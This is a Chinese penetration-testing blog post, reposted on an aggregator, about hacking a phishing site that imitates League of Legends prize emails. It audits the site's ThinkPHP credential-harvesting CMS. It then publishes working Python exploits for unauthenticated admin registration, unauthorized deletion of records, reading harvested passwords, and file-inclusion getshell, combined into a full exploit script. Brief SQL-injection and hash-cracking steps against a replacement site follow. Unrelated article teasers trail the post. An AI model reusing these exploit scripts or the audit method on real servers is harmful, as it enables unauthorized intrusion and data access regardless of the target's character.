渗透实战——为喜欢的游戏“排忧解难”

news2024/11/26 6:20:03

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

资料查询来源- 安全社区与AI模型结合探索【文末申请免费试用资格】

前言

不知道大家玩不玩游戏,我经常玩英雄联盟,但在游戏中久久没有当过幸运召唤师,最夸张的一次跟室友出去上网,唯独我没有成为幸运召唤师。但有意思的是我却在邮箱里发现了召唤师的邮件,这一下子乐子就来了,域名一眼就觉得是钓鱼网站有问题的,那就开始简单的测试一下吧~

0x01网站踩点

首先我们对目标进行目录扫描, 发现 admin.php

进入发现是后台界面, 右击查看网页源码

我们复制 title 到百度搜索一下

第一个是官网

我把源码下载, 看了一遍, 发现是一个叫 默笙密码管理系统 V2.0 这套源码和钓鱼网站一致

0x02开始审计

这套 cms 是基于 thinkphp 的, 所以我们直接跳到控制器开始审计

我们看到代码都是以 Model 对象的方式调用数据库查询, 所以基本不存在注入, 所以我们看下有没有逻辑绕过漏洞, 或者是隐藏的接口

0x03思路梳理

首先审计 Admin 的控制器

打开看了一下除了 Login 其它的控制器均有登录认证, 所以我们先审计 Login

我们看到有 5 个方法

我们先打开前 2 个方法

方法 login 是判断数据库中是否存在管理员, 如果不存在则去 reg 注册管理员

方法 reg 是判断数据库中是否存在管理员, 如果不存在则进行注册, 所以 login 和 reg 方法是没有洞了

方法 loging 是登陆的, 我们上文说了是代码都是以 Model 对象的方式调用数据库查询, 所以基本不存在注入, 所以 loging 也没洞

方法 regist 他首先判断了提交方式是不是 AJAX 我们只要在协议头添加 X-Requested-With:XMLHttpRequest 就好了

然后我们看到两个参数 $data['username']=I('post.p','','md5');$data['password']=I('post.c','','md5');

然后它竟然直接进行进行添加管理员了, 不过这个管理员不是超级管理员, 但是可以登录后台就已经足够了, 下面有个漏洞是提权

漏洞一 任意管理员添加

exp

def RegAdmin(): domain="127.0.0.1" username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName:"+hashlib.md5(username.encode("utf-8")).hexdigest()+"PassWord:"+password else: return "Failure To Exploit A Vulnerability"
漏洞二 将普通管理员提权到超级管理员

我们看到验证管理员的逻辑是这样的, 它先从 session 取出管理员的 id 然后进行查询 判断字段 is_all 是否等于 1, 如果是 1 则不是管理员, 反之

我们只需要社工管理员让他删掉我们的账户, 我们就可以跳过这个认证, 成为超级管理员

漏洞三 越权删除分类

直接将 post 过来的 id 进行删除

exp

def classdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞四 越权删除超级管理员

直接将 post 过来的 id 进行删除, 只能删除超级管理员

exp

def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞五 越权删除钓鱼密码

直接将 post 过来的 id 进行删除, 不能删除含有普通管理员 id 的

exp

def userdel(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"
漏洞六 越权查看钓鱼密码

直接将 get 过来的 id 进行查询

exp

def GetPass(id): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return  result
漏洞七 GetShell 文件包含

前提是能在目标服务器上传. html 后缀的文件

exp

def uptemple(filename): domain="127.0.0.1" cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1" headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability" return  result

0x04 进入服务器

利用以上漏洞我们已经控制了目标服务器

我们看到这个钓鱼网站有很多的模板, 还注明了钓鱼网站的作者, 我们把它钓到的密码进行删除

完整 exp

import hashlibimport randomimport requestsimport redomain="127.0.0.1"cookie="PHPSESSID=2cplbvnuqko23di92lj7ufjpk1"def GetPass(id): global cookie global domain headers = { 'Cookie': cookie } username="" password="" result=requests.get("http://"+domain+"/admin.php/pass/uppass/id/"+str(id)+".html",headers=headers).text searchObj = re.search(r'id="username"\s+\S+\s+value="(\S+)"', result, re.M | re.I) searchObj2 = re.search(r'id="password"\s+\S+\s+value="(\S+)"', result, re.M | re.I) try: username = searchObj.group(1) password = searchObj2.group(1) except Exception: return "Failure To Exploit A Vulnerability" return username+"-----"+password; return  resultdef DelPass(id): global cookie global domain headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded', 'Cookie': cookie } flag= requests.post("http://"+domain+"/admin.php/Pass/passdel",data="id="+str(id),headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability" else: return "Failure To Exploit A Vulnerability"def RegAdmin(): global domain username="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) password="".join(random.sample('zyxwvutsrqponmlkjihgfedcba12345678910',10)) headers = { 'X-Requested-With':'XMLHttpRequest', 'Content-Type':'application/x-www-form-urlencoded' } data="p="+username+"&c="+password flag = requests.post("http://"+domain+"/admin.php/login/regist", data=data,headers=headers).text.find("\\u8d26\\u53f7\\u5bc6\\u7801\\u521b\\u5efa\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability \nUserName:"+hashlib.md5(username.encode("utf-8")).hexdigest()+"PassWord:"+password else: return "Failure To Exploit A Vulnerability"def classdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/Class/classdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"def userdel(id): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "id="+str(id) flag = requests.post("http://" + domain + "/admin.php/User/userdel", data=data, headers=headers).text.find("\\u5220\\u9664\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"def uptemple(filename): global domain global cookie headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie':cookie } data = "u="+filename flag = requests.post("http://" + domain + "/admin.php/Temple/uptemple", data=data, headers=headers).text.find("\\u4e3b\\u9898\\u5207\\u6362\\u6210\\u529f")!=-1 if flag: return "Exploit The Vulnerability"; else: return "Failure To Exploit A Vulnerability"if __name__=="__main__": print(RegAdmin()) 添加管理员 print(GetPass(1)) 获取密码 print(DelPass(1)) 删除密码 print(classdel(1)) 删除分类 print(userdel(1)) 删除管理员 print(uptemple("../test")) 文件包含

0x05 再次出击

多天后管理员发觉了它的鱼站被搞了, 换了一套 cms

扫描目录, 发现 history 目录, 打开发现后台

0x06 思路转换

单引号输入报错, 是注入

不过 sqlmap 识别出来的是时间注入, 我们利用它这个报错将时间注入升级到布尔注入

0x07 密码破解

解出 md5, 登陆后台

事情到这也就接受了,最后网站站主也跑路了。总的来说这次的渗透很有意思。欢迎大家来交流

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2045340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

了解数据库中常用存储引擎数据结构(4)

目录 深入了解LSM树及其发展 一条数据的整体写入过程 读操作(Bloom Filter优化) 合并策略(Merging Policy) LSM-Tree并发控制机制 一些Compaction优化方案 深入了解LSM树及其发展 LSM Tree 的概念起源于 1996年的论文《The…

【网络工程师模拟面试题】(2)OSPF区域划分与LSA细节

一、OSPF中心结点与周围200个路由器节点建立邻居,该如何划分区域,为什么? 这个问题其实没有标准答案,因为据OSPF RFC标准文档(RFC 2328 OSPF Version 2)来看,其中内容并没有规定OSPF单区域的邻居数量限制,…

【鸿蒙学习】HarmonyOS应用开发者基础 - 从网络获取数据

学完时间&#xff1a;2024年8月15日 一、前言叨叨 学习HarmonyOS的第七课&#xff0c;人数居然反超到了3735名了&#xff0c;难道前面的那一课&#xff0c;这么多人挂科了吗。不过这一节的内容稍微简单一些&#xff0c;都是网络相关知识。 <HarmonyOS第一课>从网络获取…

【Angular18】封装自定义组件

1. 准备组件 2. 创建打包文件夹及部分配置文件 创建 文件夹app-legalentities-root拷贝组件源文件到新的文件夹app-legalentities中创建文件 .npmrc registry发布地址always-authtrue创建文件 ng-package.json {"$schema": "./node_modules/ng-packagr/ng-pac…

FChen的408学习日记--三次握手和四次握手

一、三次握手 在建立连接的过程中&#xff0c;首先SYN1&#xff0c;随机发送sqex。服务器接受后要反过来对客户端发送连接请求&#xff0c;SYN1&#xff0c;随机发送sqey&#xff0c;ackx1。然后客户端还要发送连接确认报文&#xff0c;原因如下 例题&#xff1a; 二、四次…

WeiXin Bill Record

WeiXin Bill Record 微信账单记录查询流程 【我】 【钱包】 【账单】 选中一笔【查询对象】的交易记录 【查看往来转账】 【导出凭证】 选择查询开始时间&#xff0c;结束时间&#xff1b;【申请】 【验证】 【同意】协议 进入人脸识别 【申请】 【查看详情】 【确定】

SaaS中如何应用AIGC:智能赋能,引领未来

引言 在数字化浪潮的推动下&#xff0c;SaaS&#xff08;软件即服务&#xff09;已成为企业数字化转型的重要工具。而 AIGC 作为人工智能领域的前沿技术&#xff0c;正逐步渗透到SaaS的各个环节&#xff0c;为企业带来前所未有的智能化体验。 一、智能客服与自动化服务 在Saa…

Docker-命令

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、Docker架构二、Docker进程相关命令&#xff08;一&#xff09;启动 docker 服务&#xff08;二&#xff09;重启 docker 服务&#xff08;三&#xff09;停…

C语言——二分法求有序数组中指定元素的位置

二分法只是用于有序的数组&#xff0c;如果是无序输入&#xff0c;还需要进行排序。此外&#xff0c;mid 中间值不是整数&#xff0c;要取整。 #include <stdio.h> #include <stdlib.h> int Bin_search(int* p, int len, int target) { int left 0; int …

数实融合打破场景边界,苏宁大店直播火了!

今年以来&#xff0c;促消费扩内需举措持续发力&#xff0c;创新消费场景作为重点发力方向&#xff0c;在多个场合被提及。近期&#xff0c;国务院《关于促进服务消费高质量发展的意见》进一步提出&#xff0c;加速推动消费场景应用升级和数字赋能&#xff0c;构建智慧商圈、智…

苹果iOS 17.6.1正式推送,有哪些机型值得更新呢?

在科技界&#xff0c;每一次操作系统更新都备受瞩目&#xff0c;尤其是对于苹果这样在全球范围内拥有庞大用户群的品牌而言。 最近&#xff0c;苹果发布了iOS 17.6.1更新&#xff0c;这一小版本更新不仅修复了一系列关键错误&#xff0c;还针对之前版本中存在的问题进行了针对…

纺织设备如何实现信息化转型?

纺织设备的信息化转型&#xff0c;是当代制造业智能化升级的关键一环&#xff0c;它不仅深刻影响着纺织行业的生产效率与产品质量&#xff0c;还促进了整个产业链的创新与优化。这一进程不仅仅是简单地将信息技术融入传统纺织机械中&#xff0c;而是通过深度融合物联网、大数据…

【AI】AI编程工具概述

1. AI编程工具概述 1.1 定义与功能 AI编程工具是利用人工智能技术辅助编程工作的软件集合&#xff0c;它们通过集成到现有的开发环境中&#xff0c;提供代码自动生成、补全、错误检测、优化建议等功能&#xff0c;旨在提高开发效率和代码质量。 代码生成&#xff1a;AI工具可…

[书生大模型实战营][L0][Task1] Linux 远程连接 InternStudio

[书生大模型实战营][Task1] Linux 远程连接 InterStudio 1. 申请 InterStudio 账号 https://studio.intern-ai.org.cn/console/dashboard 2. ssh 生成公匙与密匙 使用 ssh-gen 生成公匙与密匙 # 1. ssh-gen ssh-gen# 2. 查看生成的文件 ls ~/.ssh# 3. 打开生成的公匙&#…

如何在 Linux 系统上创建软硬链接 ?

在本指南中&#xff0c;我将介绍什么是链接以及如何更好地使用它们以及所需的概念。 通过执行 man ln 命令&#xff0c;可以看到这是在文件之间建立链接&#xff0c;而没有提及是软链接或硬链接。 shashilinuxtechi ~}$ man ln类似地&#xff0c;命令 man link 描述为调用链接…

vue-I18n开箱方式

最近公司没什么活&#xff0c;没事捣鼓捣鼓技术 话不多说 上干货 npm i vue-i18nlatest //下载最新版插件创建文件用来存放需要的公共语言 文件夹内容 const zh {message: {Language: "简体中文",name: "中文名称",}, }; export default zh;const ja …

基于微软TTS,优雅的实现文本转语音

项目介绍 该项目源自以前了解的edge-tts&#xff0c;edge-tts 是一个python库&#xff0c;用于将文本转换为语音&#xff0c;它依赖于 Microsoft Azure 的 Text-to-Speech 服务&#xff0c;可以轻松实现本地文字转语音&#xff0c;在所有的文字转语音的服务中&#xff0c;说它…

Unity透视镜透视效果——Shader

一、效果示意图 二、透视的过程 要看的效果&#xff1a;【相机】借助【球体】&#xff0c;透过【圆柱】看到【红色的方块】 三、实现原理-Shader 借助shader&#xff0c;两个挂有特殊shader的物体&#xff0c;当他们在视线里重叠的时候&#xff0c;重叠的部分变成透明。 …

Android NDK开发入门

目录 1. 创建 C 代码2. 定义 JNI 接口3. 在 Java 中声明本地方法4. 创建 CMakeLists.txt 文件5. 配置 build.gradle6. 编译和运行7.项目结构8.总结 在 Android 开发中&#xff0c;编写 JNI (Java Native Interface) 接口使得应用层能够调用 C 代码&#xff0c;涉及到几个步骤&a…

光流运动估计教程

文章目录 概要什么是光流?稀疏光流与密集光流实现稀疏光流1. 设置环境2.配置OpenCV读取视频并设置参数3. Grayscaling 3. 灰度化4. Shi-Tomasi 角点检测器 – 选择要跟踪的像素5. Lucas-Kanade:稀疏光流6. 可视化实现密集光流1. 设置环境2. 配置 OpenCV 读取视频3. 灰度4. Fa…